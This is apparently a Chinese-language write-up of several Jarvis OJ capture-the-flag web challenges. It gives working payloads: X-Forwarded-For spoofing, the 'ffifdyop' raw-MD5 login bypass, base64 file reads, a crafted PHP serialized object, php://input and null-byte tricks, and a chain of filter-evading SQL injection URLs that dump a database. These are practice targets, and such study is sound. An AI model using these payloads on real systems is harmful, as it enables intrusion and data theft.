PORT51
題目鏈接:http://web.jarvisoj.com:32770/
這道題本來以為是訪問服務器的51號端口,但是想想又不太對,應該是本地的51號端口訪問服務器
想着用linux下的curl命令指定本地端口
curl --local-port 51 http://web.jarvisoj.com:32770/
測試過程中在虛擬機沒成功,於是在windows下用本地端口訪問,成功
windows下curl下載地址https://curl.haxx.se/download.html,選擇windows版本即可
LOCALHOST
題目入口:http://web.jarvisoj.com:32774/
修改http頭中的X-Forwarded-For即可
得到flag
Login
需要密碼才能獲得flag哦。
題目鏈接:http://web.jarvisoj.com:32772/
是個輸密碼的文本框
以為是個sql注入,但是發現輸入單引號什么並沒有過濾或者報錯,一直提示錯誤的密碼
在headers中發現hint
md5($pass,true)是個重點
百度上找到一篇文章,有詳細介紹,輸入ffifdyop即可得到flag
文章地址:http://www.freebuf.com/column/150063.html
神盾局的秘密
這里有個通向神盾局內部網絡的秘密入口,你能通過漏洞發現神盾局的秘密嗎?
題目入口:http://web.jarvisoj.com:32768/
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
發現有經base64編碼后的文件名,猜測文件讀取,先讀取index.php內容,將文件名進行base64編碼
view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
再讀取shield.php的內容
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
最后再看看showimg.php的內容
<?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
綜合分析,題目過濾了".."、"/"、"\\","pctf"
最后是要將實例進行序列化,最后在index.php提交序列化后的內容
序列化測試代碼:
<?php class Shield { public $file; function __construct($filename = 'pctf.php') { $this -> file = $filename; } } $str = new Shield(); echo serialize($str); ?>
將pctf.php傳入參數$filename
序列化后的結果:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
在index.php頁面提交即可
IN A Mess
代碼審計,題目給的代碼沒有格式,我簡單的整理了下
<?php if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; } $data = @file_get_contents($a,'r'); if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } else { print "work harder!harder!harder!"; } ?>
ctf-實驗平台上有類似的一道題
id可以用字母繞過,a用偽協議php://input,b用%00截斷就好了
http://web.jarvisoj.com:32780/index.php?id=a&a=php://input&b=%00122111 post內容:"1112 is a nice lab!"
得到下一關的地址
Come ON!!! {/^HT2mCpcvOLf}
sql繞過
//查顯示位:得到3 http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,3# //暴庫:得到test http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(schema_name)/*111*/frfromom/*111*/information_schema.schemata# //爆表:得到content http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(table_name)/*111*/frfromom/*111*/information_schema.tables/*111*/where/*111*/table_schema=0x74657374 //爆字段:得到id,context,title http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(column_name)/*111*/frfromom/*111*/information_schema.columns/*111*/where/*111*/table_name=0x636f6e74656e74 //爆內容: http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#
最后得到flag